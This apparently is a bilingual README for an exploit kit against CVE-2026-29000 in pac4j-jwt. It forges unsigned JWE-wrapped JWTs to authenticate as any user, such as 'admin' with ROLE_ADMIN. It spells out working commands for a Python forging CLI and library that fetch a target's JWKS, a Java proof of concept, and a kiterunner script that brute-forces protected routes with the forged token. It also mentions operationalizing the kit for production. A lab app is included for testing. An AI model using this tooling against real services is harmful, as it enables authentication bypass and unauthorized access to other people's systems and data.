
# Forge JWE-wrapped unsigned JWTs to bypass pac4j-jwt signature verification (CVE-2026-29000) and authenticate as any user; includes Python CLI, library, Java PoC, and kiterunner route scanning. قم بتزوير رموز JWT غير موقعة ومغلّفة بتنسيق JWE لتجاوز التحقق من التوقيع في pac4j-jwt (CVE-2026-29000) والمصادقة كأي مستخدم؛ يتضمن واجهة سطر أوامر بلغة Python، ومكتبة، ونموذج إثبات مفهوم بلغة Java، وفحص المسارات باستخدام kiterunner.
بناء كامل: تقرير فني، PoC بلغة Java داخل العملية، أداة سطر أوامر ومكتبة Python لتزوير الرموز، واختبارات.
انظر WRITEUP.md للتفاصيل ومتطلبات PoC.
| المسار | الوصف |
|---|---|
WRITEUP.md | ملخص CVE، السبب الجذري، الإصدارات المتأثرة، متطلبات PoC، المراجع |
RECON.md | ماذا تضع (اكتشاف الادعاءات، ادعاءات خاصة بالتطبيق) وأين تقدم (الترويسات، ملفات تعريف الارتباط، العثور على نقاط النهاية المحمية) |
OPERATIONALIZATION.md | ما هو مطلوب للتشغيل في الإنتاج: التغليف، الإعداد، الأمان، الأتمتة، المراقبة، الصيانة |
scripts/kr_scan.py | تزوير رمز وتشغيل kiterunner (~/bin/kr) مع Authorization: Bearer لاختبار/فحص مسارات API المحمية |
examples/ | سكربتات أمثلة: forge_and_curl.sh, forge_and_kr.sh |
lab/ | تطبيق Flask مختبري (نقطة نهاية JWE + JWKS) لاختبار تزوير الرموز |
poc/ | PoC بلغة Java Maven (تجاوز داخل العملية ضد pac4j-jwt 6.0.3) |
token_forge/ | حزمة Python: تزوير PlainJWT مغلف بـ JWE من PEM أو عنوان JWKS |
tests/ | اختبارات Pytest للادعاءات، التزوير، المفاتيح، CLI |
requirements.txt | تبعيات Python (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # أو .venv\Scripts\activate على Windows
pip install -r requirements.txt
# من PEM (أنشئ باستخدام: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# من عنوان JWKS
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# ادعاءات إضافية (لاكتشاف خاص بالتطبيق): --claim [email protected] --claim key=value
# خيارات: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
المخرجات: سطر واحد (JWT مزور)؛ استخدمه كـ Authorization: Bearer <token>.
يتطلب kr في ~/bin/kr. قم بتزوير رمز وتشغيل kr brute (أو kr scan) مع مصادقة Bearer لاكتشاف المسارات المحمية:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
انظر RECON.md §4 للخيارات (--subject, --roles, --claim, -A, --scan, إلخ).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# أو مع التحذيرات كأخطاء:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# أو رمز فقط (بدون تحقق داخل العملية):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# مع subject/roles مخصص:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
المتوقع: [BYPASS] Authenticated as: admin#override والأدوار عند التشغيل داخل العملية.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # ثم افتح htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
تطبيق Flask يقبل JWE ويعيد الادعاءات (لاختبار التزوير + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
انظر lab/README.md.